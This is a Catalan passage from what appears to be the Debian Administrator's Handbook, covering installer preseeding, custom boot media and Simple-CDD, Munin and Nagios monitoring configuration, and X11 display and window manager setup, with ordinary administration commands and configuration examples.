La manera més simple d'escriure un fitxer de presembrat és instal·lar un sistema a mà. Llavors debconf-get-selections --installer proporcionarà les respostes relatives a l'instal·lador. Es poden obtenir respostes sobre altres paquets amb debconf-get-selections. No obstant això, una solució més neta és escriure el fitxer de presembrat a mà, començant per un exemple i la documentació de referència: amb aquest enfocament, només es poden plantejar preguntes on la resposta per defecte ha de ser canviada; utilitzant el paràmetre d'arrencada priority=critical s'indica a Debconf de fer només preguntes crítiques, i utilitzar la resposta per defecte per a la resta.

Preconfigurar un valor en un fitxer «preseed» indica automàticament a l'instal·lador de Debian que no faci aquesta pregunta. Això passa perquè carregar el fitxer «preseed» no només estableix el/s valor/s donat/s, sinó que també marca cadascun dels diàlegs afectats com a “vistos” per l'usuari. Per tant, és possible preestablir la resposta d'una pregunta i tot i així presentar el diàleg a l'usuari reiniciant l'indicador «seen». Tingueu en compte que l'ordre en aquest cas és important i que el valor s'ha d'establir abans de marcar el diàleg a «unseen» (no vist) com es mostra en el següent exemple:

d-i netcfg/hostname string worker d-i netcfg/hostname seen false

DOCUMENTACIÓ Apèndix de la guia d'instal·lació

La guia d'instal·lació, disponible en línia, inclou documentació detallada sobre l'ús d'un arxiu «preseed» en un apèndix. També inclou un fitxer de mostra detallat i comentat, que pot servir com a base per a personalitzacions locals. També hi ha col·leccions de totes les plantilles de debconf extretes de cada component i paquet de Debian:

→ https://www.debian.org/releases/stable/example-preseed.txt

→ https://www.debian.org/releases/stable/example-preseed.txt

→ https://preseed.debian.net/

La configuració prèvia d'una instal·lació sovint no és tan senzilla com hom desitjaria. De vegades requereix entendre com els paquets processen els valors donats en els seus scripts. No dubteu a preguntar a la llista de correu <debian-cd.lists.debian.org> o al canal d'IRC .debian-cd si necessiteu ajuda. També tingueu en compte que algunes configuracions complexes encara no es poden assolir preconfigurant.

12.3.2.3. Creació un suport d'arrencada personalitzat

Saber on emmagatzemar el fitxer de presembrat està molt bé, però la ubicació no ho és tot: cal, d'una manera o una altra, alterar el mitjà d'arrencada d'instal·lació per canviar els paràmetres d'arrencada i afegir el fitxer de presembrat.

12.3.2.3.1. Arrencada des de la xarxa

Quan un ordinador s'inicia des de la xarxa, el servidor que envia els elements d'iniciació també defineix els paràmetres d'arrencada. Per tant, el canvi s'ha de fer en la configuració de PXE del servidor d'arrencada; més específicament, al fitxer de configuració /tftpboot/pxelinux.cfg/default. La configuració de l'arrencada de xarxa és un requisit previ; vegeu la Guia d'Instal·lació per als detalls.

→ https://www.debian.org/releases/stable/amd64/ch04s05

12.3.2.3.2. Preparació d'un llapis USB d'arrencada

Una vegada que s'ha preparat una llapis d'arrencada (vegeu Secció 4.1.2, «Arrencada des d'un llapis USB»), es necessiten algunes operacions addicionals. Suposant que el contingut del llapis està disponible sota /media/usbdisk/, copieu el fitxer de «preseed» a /media/usbdisk/preseed.cfg.

Si heu estat utilitzant una imatge ISO híbrida per a crear la memòria USB arrencable, llavors haureu d'editar /media/usbdisk/boot/grub/grub.cfg (per a la pantalla d'arrencada EFI):

Exemple 12.2. fitxer boot/grub/grub.cfg i els paràmetres de “presembrat”

menuentry --hotkey=i 'Install' { set background_color=black linux /install.amd/vmlinuz preseed/file=/cdrom/preseed.cfg locale=en_US.UTF-8 keymap=us language=us country=US vga=788 --- quiet initrd /install.amd/initrd.gz }

I heu d'editar /media/usbdisk/isolinux/isolinux.cfg (per a l'arrencada BIOS) o un dels fitxers que utilitza -p. ex. /media/usbdisk/isolinux/txt.cfg - per a afegir els paràmetres d'arrencada requerits:

Exemple 12.3. fitxer isolinux.cfg i paràmetres de “presembrat”

label install menu label ^Install kernel [...] append preseed/file=/cdrom/preseed.cfg locale=en_US.UTF-8 keymap=us language=us country=US vga=788 initrd=/install.amd/initrd.gz --- quiet

Si heu estat utilitzant la imatge de l'instal·lador hd-media d'una memòria USB personalitzada, editeu /media/usbdisk/syslinux.cfg i afegiu els paràmetres d'arrencada necessaris com es mostra a l'exemple següent:

Exemple 12.4. fitxer syslinux.cfg i paràmetres de presembrat

default vmlinuz append preseed/file=/hd-media/preseed.cfg locale=en_US.UTF-8 keymap=us language=us country=US vga=788 initrd=initrd.gz --

12.3.2.3.3. Creació d'una imatge de CD-ROM

Un llapis USB és un mitjà de lectura-escriptura, per la qual cosa és fàcil afegir un fitxer i canviar alguns paràmetres. En el cas d'un CD-ROM l'operació és més complexa ja que hem de regenerar una imatge ISO completa. Aquesta tasca és resolta per debian-cd, però aquesta eina és força difícil d'utilitzar: necessita un mirall local, i requereix una comprensió de totes les opcions proporcionades per /usr/share/debian-cd/CONF.sh; fins i tot llavors, make ha de ser invocat diverses vegades. /usr/share/debian-cd/README és per tant una lectura molt recomanada.

Dit això, debian-cd sempre funciona de manera similar: es genera un directori “imatge” amb el contingut exacte del CD-ROM, després es converteix en un fitxer ISO amb una eina com genisoimage, mkisofs o xorriso. El directori amb la imatge es finalitza després del pas make-image-trees de debian-cd. En aquest punt, s'insereix el fitxer de presembrat al directori apropiat (normalment $TDIR/$CODENAME/CD1/, on $TDIR i $CODENAME són paràmetres definits pel fitxer de configuració CONF.sh). El CD-ROM utilitza isolinux com el seu carregador d'arrencada, i el seu fitxer de configuració s'ha d'adaptar a partir del que debian-cd ha generat per tal d'inserir els paràmetres d'arrencada necessaris (els fitxers específics són $TDIR/$CODENAME/CD1/isolinux/isolinux.cfg i $TDIR/$CODENAME/CD1/boot/grub/grub.cfg tal i com es mostra més amunt). Llavors es pot reprendre el procés “normal” i podem continuar generant la imatge ISO amb make image CD=1 (o make images si es generen diversos CD-ROM).

12.3.3. Simple-CDD: la solució tot-en-un

Només utilitzar un fitxer de presembrat no és suficient per complir tots els requisits que poden aparèixer per a grans desplegaments. Tot i que és possible executar alguns scripts al final del procés d'instal·lació normal, la selecció del conjunt de paquets a instal·lar encara no és prou flexible (bàsicament, només es poden seleccionar “tasques”); i més important, això només permet instal·lar paquets oficials de Debian, i exclou els generats localment.

D'altra banda, debian-cd és capaç d'integrar paquets externs, i debian-installer es pot estendre inserint nous passos en el procés d'instal·lació. Combinant aquestes capacitats, hauria de ser possible crear un instal·lador personalitzat que satisfaci les nostres necessitats; fins i tot hauria de ser capaç de configurar alguns serveis després de desempaquetar els paquets necessaris. Afortunadament, això no és una mera hipòtesi, ja que això és exactament el que fa simple-cdd.

El propòsit d'aquesta eina és permetre a qualsevol crear fàcilment una distribució derivada de Debian seleccionant un subconjunt dels paquets disponibles, preconfigurant-los amb Debconf, afegint programari específic, i executant scripts personalitzats al final del procés d'instal·lació. Això coincideix amb la filosofia del "sistema operatiu universal", ja que qualsevol pot adaptar-lo a les seves pròpies necessitats.

12.3.3.1. Creació de perfils

Simple-CDD defineix “perfils” que coincideixen amb el concepte de “classes” de FAI, i una màquina pot tenir diversos perfils (determinats en el moment de la instal·lació). Un perfil es defineix per un conjunt de fitxers profiles/perfil.*:

el fitxer .description conté una descripció d'una línia per al perfil;

el fitxer .packages llista els paquets que s'instal·laran automàticament si el perfil està seleccionat;

el fitxer .downloads llista els paquets que s'emmagatzemaran als mitjans d'instal·lació, però no necessàriament instal·lats;

el fitxer .preseed conté informació de presembrat per a les preguntes Debconf (per a l'instal·lador i/o per als paquets);

el fitxer .postinst conté un script que s'executarà al final del procés d'instal·lació;

finalment, el fitxer .conf permet canviar alguns paràmetres basats en els perfils a ser inclosos en una imatge.

El perfil default té un paper particular, ja que sempre està seleccionat; conté el mínim necessari perquè el Simple-CDD pugui funcionar. L'única cosa que normalment es personalitza en aquest perfil és el paràmetre preseed de simple-cdd/profiles: això permet evitar la pregunta, introduïda per Simple-CDD, sobre quins perfils s'han d'instal·lar.

Adoneu-vos-en que les ordres s'hauran d'invocar des del directori pare del directori profiles.

12.3.3.2. Configuració i ús de build-simple-cdd

ULLADA RÀPIDA Fitxer de configuració detallat

Un exemple d'un fitxer de configuració de Simple-CDD, amb la majoria dels paràmetres possibles, s'inclou al paquet (/usr/share/doc/simple-cdd/examples/simple-cdd.conf.detailed). Això es pot utilitzar com a punt d'inici quan es crea un fitxer de configuració personalitzat. Malauradament no tot està documentat allà, de manera que algunes variables només es llisten i s'expliquen a /usr/lib/python3/dist-packages/simple_cdd/variables.py.

També és important familiaritzar-se amb les variables enteses per /usr/share/debian-cd/CONF.sh.

El Simpe-CDD requereix molts paràmetres per operar completament. Sovint es recolliran en un fitxer de configuració, que es pot indicar a build-simple-cdd amb l'opció --conf, però també es poden especificar mitjançant paràmetres dedicats passats a build-simple-cdd. Aquí hi ha una vista general de com es comporta aquesta ordre i com s'utilitzen els seus paràmetres:

el paràmetre profiles llista els perfils que s'inclouran a la imatge CD-ROM generada;

Basant-se en la llista de paquets requerits, Simple-CDD descarrega els fitxers apropiats del servidor esmentat a server, i els recull en un mirall parcial (que més tard es passarà a debian-cd);

els paquets personalitzats esmentats a local_packages també seran inclosos en aquest mirall local;

debian-cd s'executa llavors (des d'una ubicació predeterminada que es pot configurar amb la variable debian_cd_dir), amb la llista de paquets a incloure;

Una vegada que debian-cd ha preparat el seu directori, Simple-CDD aplica alguns canvis a aquest directori:

els fitxers que contenen els perfils s'afegeixen en un subdirectori simple-cdd (que apareixerà al CD-ROM);

també s'hi afegeixen altres fitxers llistats al paràmetre all_extras;

els paràmetres d'arrencada s'ajusten per habilitar el presembrat. Les preguntes relatives a la llengua i el país es poden evitar si la informació requerida s'emmagatzema a les variables language i country.

llavors debian-cd genera la imatge ISO final.

12.3.3.3. Generació d'una imatge ISO

Una vegada que hem escrit un fitxer de configuració i definit els nostres perfils, el darrer pas és invocar build-simple-cdd --conf simple-cdd.conf. Després d'uns minuts, obtenim la imatge requerida a images/debian-11-amd64-CD-1.iso.

12.4. Monitorització

La monitorizació és un terme genèric, i les diverses activitats implicades tenen diversos objectius: d'una banda, fer seguiment de l'ús dels recursos proporcionats per una màquina permet anticipar la saturació i les posteriors actualitzacions necessàries; d'altra banda, alertar a l'administrador tan aviat com un servei no estigui disponible o no funcioni correctament significa que els problemes que ocorren es poden solucionar abans.

Munin cobreix la primera àrea, mitjançant la visualització de gràfics per a valors històrics d'una sèrie de paràmetres (RAM usada, espai de disc ocupat, càrrega de processador, trànsit de xarxa, càrrega Apache/MySQL, etc.). Nagios cobreix la segona àrea, comprovant regularment que els serveis estan funcionant i disponibles, i enviant alertes a través dels canals apropiats (e-mails, missatges de text, etc.). Tots dos tenen un disseny modular, que facilita la creació de nous connectors per monitorar paràmetres o serveis específics.

ALTERNATIVA Zabbix, una eina de monitorització integrada

Tot i que Munin i Nagios són d'ús molt comú, no són els únics jugadors en el camp de la monitorització, i cadascun d'ells només s'encarrega de la meitat de la feina (visualització gràfica en un costat, i alertes a l'altre). Zabbix, d'altra banda, integra les dues parts de la monitorització; també té una interfície web per configurar els aspectes més comuns. Ha fet passes de gegant durant els últims anys, i ara pot considerar-se un contendent viable. Al servidor de monitorització s'hi instal·laria zabbix-server-pgsql (o zabbix-server-mysql), possiblement juntament amb zabbix-frontend-php per tenir una interfície web. A les màquines per monitoritzar s'hi instal·laria zabbix-agent que alimentaria amb dades el servidor.

→ https://zabbix.com/

ALTERNATIVA Icinga, un «fork» de Nagios

Afavorit per les divergències en les opinions relatives al model de desenvolupament de Nagios (que està controlat per una empresa), diversos desenvolupadors van bifurcar Nagios i van utilitzar Icinga com el seu nou nom. Icinga encara és compatible, fins ara, amb configuracions i connectors de Nagios, però també afegeix característiques addicionals.

→ https://icinga.com/

12.4.1. Configuració de Munin

El propòsit de Munin és controlar moltes màquines; per tant, utilitza de forma natural una arquitectura client/servidor. L'amfitrió central, el «grapher» o “generador de gràfiques”, recull dades de tots les màquines controladess, i genera gràfiques d'històrics.

12.4.1.1. Configuració dels equips a monitoritzar

El primer pas és instal·lar el paquet munin-node. El dimoni instal·lat per aquest paquet escolta pel port 4949 i envia les dades recollides per tots els connectors actius. Cada connector és un programa senzill que retorna una descripció de les dades recollides així com el valor mesurat més recent. Els connectors s'emmagatzemen a /usr/share/munin/plugins/, però només aquells amb un enllaç simbòlic a /etc/munin/plugins/ s'utilitzen realment.

Quan el paquet està instal·lat, es determina un conjunt de «plugins» actius basats en el programari disponible i la configuració actual de l'amfitrió. No obstant això, aquesta configuració automàtica depèn d'una característica que cada connector ha de proporcionar, i normalment és una bona idea revisar i afinar els resultats a mà. Navegar per la galeria d'extensions pot ser interessant encara que no tots els connectors tenen una documentació completa.

→ https://gallery.munin-monitoring.org

No obstant això, tots els connectors són scripts i la majoria són bastant simples i estan ben comentats. Navegar per /etc/munin/plugins/ és, per tant, una bona manera d'obtenir una idea de què tracta cada connector i determinar què es pot eliminar. De la mateixa manera, l'habilitació d'un connector interessant trobat a /usr/share/munin/plugins/ és simplement qüestió de configurar un enllaç simbòlic amb ln -sf /usr/share/munin/plugins/connector /etc/munin/plugins/. Tingueu en compte que, quan un nom de connector acaba amb un subratllat “_”, el connector requereix un paràmetre. Aquest paràmetre s'ha d'emmagatzemar en el nom de l'enllaç simbòlic; per exemple, el connector «if_» s'ha d'habilitar amb un enllaç simbòlic if_eth0, i monitoritzarà el trànsit de xarxa a la interfície eth0.

Una vegada que tots els connectors estan correctament configurats, la configuració del dimoni s'ha d'actualitzar per descriure el control d'accés de les dades recollides. Això implica directives allow al fitxer /etc/munin/munin-node.conf. La configuració per defecte és allow ^127\.0\.0\.1$, i només permet l'accés a l'amfitrió local. Un administrador normalment afegeix una línia similar que conté l'adreça IP de dels gràfics, i després reinicia el dimoni amb systemctl restart munin-node.

ANANT MÉS ENLLÀ Creació de connectors locals

Munin inclou documentació detallada sobre com s'han de comportar els connectors, i com desenvolupar-ne de nous.

→ https://guide.munin-monitoring.org/en/latest/plugin/writing.html

Un connector es prova millor quan s'executa en les mateixes condicions que si s'activa amb el munin-node; això es pot simular executant munin-run connector com a superusuari. Un segon paràmetre potencial donat a aquesta ordre (com ara config) es passa al connector com a paràmetre.

Quan s'invoca un connector amb el paràmetre config, aquest ha de descriure's retornant un conjunt de camps:

# munin-run load config graph_title Load average graph_args --base 1000 -l 0 graph_vlabel load graph_scale no graph_category system load.label load graph_info The load average of the machine describes how many processes are in the run-queue (scheduled to run "immediately"). load.info 5 minute load average

Els diversos camps disponibles són descrits per la «Plugin reference» o “referència sobre els connectors” disponible com a part de la «Munin guide».

→ https://munin.readthedocs.org/en/latest/reference/plugin.html

Quan s'invoca sense paràmetres, el connector simplement retorna els últims valors mesurats; per exemple, executant sudo munin-run load podria retornar load.value 0.12.

Finalment, quan s'invoca un connector amb el paràmetre autoconf, hauria de retornar «yes» (i un codi de sortida 0) o «no» (amb un estat de sortida 1) segons si el connector s'ha d'habilitar en aquest amfitrió.

12.4.1.2. Configuració del Grapher

El «grapher» és simplement l'ordinador que agrega les dades i genera les gràfiques corresponents. El programari necessari està al paquet munin. La configuració estàndard executa munin-cron (una vegada cada 5 minuts), que recopila dades de tots els amfitrions llistats a /etc/munin/munin.conf (només el host local és llistat per defecte), desa les dades històriques en fitxers RRD («Round Robin Database», un format de fitxer dissenyat per emmagatzemar dades que varien en el temps) emmagatzemats sota /var/lib/munin/ i genera una pàgina HTML amb els gràfics a /var/cache/munin/www/.

Per tant, totes les màquines controlades han d'estar llistades al fitxer de configuració /etc/munin/munin.conf. Cada màquina és llistada com una secció completa amb un nom que coincideixi amb la màquina i almenys una entrada address que indica l'adreça IP corresponent.

[ftp.falcot.com] address 192.168.0.12 use_node_name yes

Les seccions poden ser més complexes, i descriure gràfiquess addicionals que es podrien crear combinant dades procedents de diverses màquines. Les mostres proporcionades al fitxer de configuració són bons punts d'inici per a la personalització.

L'últim pas és publicar les pàgines generades; això implica configurar un servidor web de manera que el contingut de /var/cache/munin/www/ estigui disponible en un lloc web. L'accés a aquest lloc web sovint es restringirà, utilitzant un mecanisme d'autenticació o control d'accés basat en IP. Vegeu Secció 11.2, «Servidor web (HTTP)» per als detalls pertinents.

12.4.2. Configuració de Nagios

A diferència de Munin, Nagios no necessàriament necessita instal·lar res en els equips controlats; la major part del temps, Nagios s'utilitza per comprovar la disponibilitat de serveis de xarxa. Per exemple, Nagios pot connectar-se a un servidor web i comprovar que una pàgina web donada es pot obtenir en un temps determinat.

12.4.2.1. Instal·lació

El primer pas en la configuració de Nagios és instal·lar els paquets nagios4 i monitoring-plugins. La instal·lació dels paquets configura la interfície web i el servidor Apache. Els mòduls Apache authz_groupfile i auth_digest han d'estar habilitats; per a això executeu:

# a2enmod authz_groupfile Considering dependency authz_core for authz_groupfile: Module authz_core already enabled Module authz_core already enabled Enabling module authz_groupfile. To activate the new configuration, you need to run: systemctl restart apache2 # a2enmod auth_digest Considering dependency authn_core for auth_digest: Module authn_core already enabled Enabling module auth_digest. To activate the new configuration, you need to run: systemctl restart apache2 # systemctl restart apache2

Afegir altres usuaris és una simple qüestió d'inserir-los al fitxer /etc/nagios4/hdigest.users.

Carregant en un navegador http://servidor/nagios4/ mostra la interfície web; en particular, tingueu en compte que Nagios ja monitoritza alguns paràmetres de la màquina on s'executa. No obstant això, algunes característiques interactives com ara afegir comentaris a un amfitrió no funcionen. Aquestes característiques estan inhabilitades en la configuració predeterminada de Nagios, que és molt restrictiva per raons de seguretat.

Habilitar algunes característiques implica editar /etc/nagios4/nagios.cfg. També hem de crear permisos d'escriptura per al directori utilitzat per Nagios, amb ordres com les següents:

# systemctl stop nagios4 # dpkg-statoverride --update --add nagios www-data 2710 /var/lib/nagios4/rw # dpkg-statoverride --update --add nagios nagios 751 /var/lib/nagios4 # systemctl start nagios4

12.4.2.2. Configuració

La interfície web de Nagios és bastant agradable, però no permet la configuració, ni es pot utilitzar per afegir servidors o serveis monitoritzats. Tota la configuració es gestiona a través de fitxers referenciats al fitxer de configuració central, /etc/nagios4/nagios.cfg.

Aquests fitxers no s'han de “bussejar” sense una certa comprensió dels conceptes de Nagios. La configuració llista els objectes dels següents tipus:

un host és una màquina que s'ha de monitoritzar;

un hostgroup és un conjunt d'equips que s'han d'agrupar per a la seva visualització, o per abstraure alguns elements de configuració comuns;

un service és un element verificable relacionat amb un amfitrió o un grup d'amfitrions. La majoria de les vegades serà la comprovació d'un servei de xarxa, però també pot implicar comprovar que alguns paràmetres estan dins d'un rang acceptable (per exemple, l'espai de disc lliure o la càrrega de processador);

un servicegroup és un conjunt de serveis que s'han d'agrupar per a la visualització;

un contact és una persona que pot rebre alertes;

un contactgroup és un conjunt d'aquests contactes;

un timeperiod és un interval de temps durant el qual s'han de comprovar alguns serveis;

un command és la línia d'ordres invocada per comprovar un servei donat.

Segons el seu tipus, cada objecte té una sèrie de propietats que es poden personalitzar. Una llista completa seria massa llarga per incloure, però les propietats més importants són les relacions entre els objectes.

Un service utilitza un command per comprovar l'estat d'una característica en un host (o en un hostgroup) dins d'un timeperiod. En cas d'un problema, Nagios envia una alerta a tots els membres del contactgroup vinculat al servei. Cada membre rebrà l'alerta d'acord amb el canal descrit en el corresponent objecte contact.

Un sistema d'herència permet compartir fàcilment un conjunt de propietats entre molts objectes sense duplicar informació. A més, la configuració inicial inclou una sèrie d'objectes estàndard; en molts casos, la definició de nous amfitrions, serveis i contactes és una qüestió senzilla de derivar a partir dels objectes genèrics proporcionats. Els arxius de /etc/nagios4/conf.d/ són una bona font d'informació sobre com funcionen.

Els administradors de Falcot Corp utilitzen la següent configuració:

Exemple 12.5. Fitxer /etc/nagios4/conf.d/falcot.cfg

define contact{ name generic-contact service_notification_period 24x7 host_notification_period 24x7 service_notification_options w,u,c,r host_notification_options d,u,r service_notification_commands notify-service-by-email host_notification_commands notify-host-by-email register 0 ; Template only } define contact{ use generic-contact contact_name rhertzog alias Raphael Hertzog email hertzog@debian.org } define contact{ use generic-contact contact_name rmas alias Roland Mas email lolando@debian.org } define contactgroup{ contactgroup_name falcot-admins alias Falcot Administrators members rhertzog,rmas } define host{ use generic-host ; Name of host template to use host_name www-host alias www.falcot.com address 192.168.0.5 contact_groups falcot-admins hostgroups debian-servers,ssh-servers } define host{ use generic-host ; Name of host template to use host_name ftp-host alias ftp.falcot.com address 192.168.0.12 contact_groups falcot-admins hostgroups debian-servers,ssh-servers } # 'check_ftp' command with custom parameters define command{ command_name check_ftp2 command_line /usr/lib/nagios/plugins/check_ftp -H $HOSTADDRESS$ -w 20 -c 30 -t 35 } # Generic Falcot service define service{ name falcot-service use generic-service contact_groups falcot-admins register 0 } # Services to check on www-host define service{ use falcot-service host_name www-host service_description HTTP check_command check_http } define service{ use falcot-service host_name www-host service_description HTTPS check_command check_https } define service{ use falcot-service host_name www-host service_description SMTP check_command check_smtp } # Services to check on ftp-host define service{ use falcot-service host_name ftp-host service_description FTP check_command check_ftp2 }

Aquest fitxer de configuració descriu dos amfitrions supervisats. El primer és el servidor web, i els controls es fan als ports HTTP (80) i HTTP segur (443). Nagios també comprova que un servidor SMTP funciona al port 25. El segon amfitrió és el servidor FTP, i la comprovació inclou assegurar-se que una resposta arriba en 20 segons. Més enllà d'aquest retard, s'emet un avís o «warning»; més enllà de 30 segons, l'alerta es considera crítica. La interfície web de Nagios també mostra que el servei d'SSH és monitoritzat: això ve dels amfitrions pertanyents al grup ssh-servers. El servei estàndard corresponent es defineix a /etc/nagios4/conf.d/services.nagios2.cfg.

Adoneu-vos-en de l'ús de l'herència: es fa que un objecte hereti d'un altre objecte amb “use nom-pare". L'objecte “pare” ha de ser identificable, la qual cosa requereix donar-li una propietat “name identificador”. Si l'objecte pare no està pensat per ser un objecte real, sinó només per servir com a pare, indicant-li una propietat “register 0” li diu a Nagios que no li consideri, i per tant ignorar la manca d'alguns paràmetres que d'una altra manera serien necessaris.

DOCUMENTACIÓ Llista de propietats dels objectes

Una comprensió més profunda de les diverses maneres en què es poden configurar el Nagios es pot obtenir de la documentació allotjada a https://assets.nagios.com/downloads/nagioscore/docs/nagioscore/4/en/. Inclou una llista de tots els tipus d'objectes, amb totes les propietats que poden tenir. També explica com crear nous connectors.

ANANT MÉS ENLLÀ Tests remots amb NRPE

Molts connectors de Nagios permeten comprovar alguns paràmetres locals d'un amfitrió; si moltes màquines necessiten aquestes comprovacions al temps que una instal·lació centralitzada les recopila, el connector NRPE («Nagios Remote Plugin Executor» o “executador de connectors remots de Nagios”) ha de ser desplegat. El paquet nagios-nrpe-plugin s'ha d'instal·lar al servidor Nagios, i nagios-nrpe-server als amfitrions on s'han d'executar les proves locals. Aquest últim obté la configuració de /etc/nagios/nrpe.cfg. Aquest fitxer hauria de llistar les proves que es poden activar remotament, i les adreces IP de les màquines poden activar-les. A la banda de Nagios, permetre aquestes proves remotes és una simple qüestió d'afegir serveis corresponents utilitzant la nova ordre check_nrpe.

Capítol 13. Estació de treball

Ara que el desplegaments de servidors estan llestos, els administradors poden centrar-se en instal·lar les estacions de treball individuals i crear una configuració típica.

13.1. Configuració del servidor X11

Un breu recordatori: X.org és el component de programari que permet a les aplicacions gràfiques mostrar finestres a la pantalla. Inclou un controlador que fa un ús eficient de la targeta de vídeo. Les característiques ofertes a les aplicacions gràfiques s'exporten a través d'una interfície estàndard, X11 (Bullseye conté la versió X11R7.7).

PERSPECTIVA X11, XFree86 i X.org

X11 és el sistema gràfic més utilitzat en sistemes de tipus Unix (també està disponible per a Windows i Mac OS). En sentit estricte, el terme “X11” només es refereix a una especificació de protocol, però també s'utilitza a la pràctica per referir-se a la implementació.

L'X11 va tenir un començament difícil, però la dècada de 1990 va veure emergir XFree86 com la implementació de referència perquè era programari lliure, portable i mantingut per una comunitat col·laborativa. No obstant això, la taxa d'evolució es va reduir a poc a poc mentre que el programari només guanyava nous controladors. Aquesta situació, juntament amb un canvi de llicència molt controvertit, va menar a la bifurcació d'X.org el 2004. Aquesta és ara la implementació de referència, i Debian Bullseye utilitza X.org versió 7.7.

Les versions actuals d'X.org són capaces de detectar automàticament el maquinari disponible: això s'aplica a la targeta de vídeo i el monitor, així com teclats i ratolins; de fet, va tant bé que el paquet ja no crea un fitxer de configuració /etc/X11/xorg.conf.

La configuració del teclat està configurada actualment a /etc/default/keyboard. Aquest fitxer s'utilitza tant per configurar la consola de text com la interfície gràfica, i és gestionat pel paquet keyboard-configuration. Els detalls sobre la configuració de la disposició del teclat estan disponibles a Secció 8.1.2, «Configurar el teclat».

El paquet xserver-xorg-core proporciona un servidor X genèric, tal com l'utilitzen les versions 7.x d'X.org. Aquest servidor és modular i utilitza un conjunt de controladors independents per gestionar els diferents tipus de targetes de vídeo. La instal·lació d'xserver-xorg assegura que el servidor i almenys un controlador de vídeo estan instal·lats.

Tingueu en compte que si la targeta de vídeo detectada no és gestionada per cap dels controladors disponibles, X.org intenta utilitzar els controladors vesa i fbdev. VESA és un controlador genèric que hauria de funcionar a tot arreu, però amb capacitats limitades (menys resolucions disponibles, sense acceleració de maquinari per a jocs ni efectes visuals per a l'escriptori, etc.) mentre que fbdev funciona a sobre del dispositiu «framebuffer» del nucli. Actualment el servidor X pot executar-se sense cap privilegi administratiu (això solia ser necessari per poder configurar la pantalla) i el seu fitxer de registre s'emmagatzema al directori d'inici de l'usuari en /.local/share/xorg/Xorg.0.log mentre que /var/log/Xorg.0.log per a servidors X iniciat amb privilegis d'administrador i per a versions més antigues de Debian 9 Stretch. Aquest fitxer de registre és on cal mirar per saber el controlador que s'està utilitzant actualment. Per exemple, el següent fragment coincideix amb el que el controlador intel emet quan és carregat:

(==) Matched nouveau as autoconfigured driver 0 (==) Matched modesetting as autoconfigured driver 1 (==) Matched fbdev as autoconfigured driver 2 (==) Matched vesa as autoconfigured driver 3 (==) Assigned the driver to the xf86ConfigLayout (II) LoadModule: "intel" (II) Loading /usr/lib/xorg/modules/drivers/intel_drv.so (II) Module intel: vendor="X.Org Foundation"

EXTRA Controladors propietaris

Alguns fabricants de targetes de vídeo (especialment NVIDIA) es neguen a publicar les especificacions de maquinari que serien necessàries per implementar uns bons controladors lliures. No obstant això, proporcionen controladors propietaris que permeten utilitzar el seu maquinari. Aquesta política és nefasta, perquè fins i tot quan existeix el controlador proporcionat, normalment no està tan polit com hauria de ser; i, cosa que és més important, no segueix necessàriament les actualitzacions de X.org, que poden fer que el controlador disponible més recent es carregui correctament (o no es carregui en absolut). No podem acceptar aquest comportament, i us recomanem evitar aquests fabricants i afavorir els fabricants més cooperatius.

Si tot i així acabeu amb una targeta d'aquestes, trobareu els paquets necessaris a la secció non-free: nvidia-driver per a targetes NVIDIA. Requereix un mòdul de kernel que coincideixi. La compilació del mòdul es pot automatitzar instal·lant el paquet nvidia-kernel-dkms (per a NVIDIA).

El projecte nouveau té com a objectiu desenvolupar un controlador de programari lliure per a targetes NVIDIA i és el controlador per defecte que es carrega per a aquestes targetes a Debian. En general, el seu conjunt de funcions i el seu rendiment no arriben als del controlador propietari. En la defensa dels desenvolupadors, hauríem d'esmentar que la informació requerida només es pot recopilar mitjançant l'enginyeria inversa, la qual cosa dificulta les coses. Els controladors lliures per a targetes de vídeo ATI, anomenats radeon i amdgpu, són molt millors en aquest sentit, encara que sovint requereixen microprogramari no lliure del paquet firmware-amd-graphics.

13.2. Personalització de la interfície gràfica

13.2.1. Tria d'un gestor de pantalla

La interfície gràfica només proporciona espai de visualització. Executar el servidor X per si mateix només condueix a una pantalla buida, que és per això que la majoria de les instal·lacions utilitzen un gestor de pantalla o «display manager» per mostrar una pantalla d'autenticació d'usuari i iniciar l'escriptori gràfic una vegada que l'usuari s'ha autenticat. Els tres gestors de pantalla més populars segons l'ús actual són gdm3 (GNOME Display Manager), sddm (suggerit pel Plasma del KDE) i lightdm (Light Display Manager). Existeixen més alternatives que es poden trobar cercant pel paquet virtual x-display-manager.

Atès que els administradors de Falcot Corp han optat per utilitzar l'entorn d'escriptori GNOME, lògicament trien gdm3 també com a gestor de pantalla. El fitxer de configuració /etc/gdm3/daemon.conf té moltes opcions (la llista es pot trobar al fitxer d'esquemes /usr/share/gdm/gdm.schemas) per controlar el seu comportament mentre que /etc/gdm3/greeter.dconf-defaults conté ajustos per a la "sessió d'inici" (més que una finestra d'inici de sessió, és un escriptori limitat amb eines relacionades amb la gestió d'energia i l'accessibilitat). Tingueu en compte que alguns dels ajustos més útils per als usuaris finals es poden afinar amb el centre de control del GNOME.

13.2.2. Tria d'un gestor de finestres

Atès que cada escriptori gràfic proporciona el seu propi gestor de finestres, el gestor de finestres que s'escull normalment està influenciat per l'escriptori que heu seleccionat. GNOME utilitza el gestor de finestres mutter, el Plasma utilitza kwin, i Xfce (que presentarem més tard) té xfwm. La filosofia Unix sempre permet utilitzar el gestor de finestres que hom tria però, seguint les recomanacions, un administrador pot aprofitar millor els esforços d'integració dirigits per cada projecte.

TORNAR A LES BASES Gestor de finestres

El gestor de finestres mostra les “decoracions” al voltant de les finestres que pertanyen a les aplicacions actualment en execució, que inclouen els marcs i la barra de títol. També permet reduir, restaurar, maximitzar i amagar finestres. La majoria dels gestors de finestres també proporcionen un menú que apareix quan es fa clic a l'escriptori d'una manera específica. Aquest menú proporciona els mitjans per tancar la sessió del gestor de finestres, iniciar noves aplicacions i, en alguns casos, canviar a un altre gestor de finestres (si està instal·lat).

Els ordinadors més vells poden, no obstant això, tenir dificultats per executar entorns gràfics d'escriptori pesats. En aquests casos, s'hauria d'utilitzar una alternativa més lleugera (cerqueu el paquet virtual x-window-manager). Els gestors de finestres «light» (o de càrrega “petita”) inclouen WindowMaker (al paquet wmaker), afterstep, icewm, blackbox, fluxbox, o openbox. En aquests casos, el sistema s'ha de configurar perquè el gestor de finestres adequat tingui prioritat; la manera estàndard és canviar l'alternativa x-window-manager amb l'ordre update-alternatives --config x-window-manager.

ESPECIFITATS DE DEBIAN Alternatives

La política de Debian enumera una sèrie d'ordres estandarditzades capaces de realitzar una acció particular. Per exemple, l'ordre x-window-manager invoca un gestor de finestres. Però Debian no assigna aquesta ordre a un gestor de finestres prefixat. L'administrador pot triar quin gestor s'hauria d'invocar.

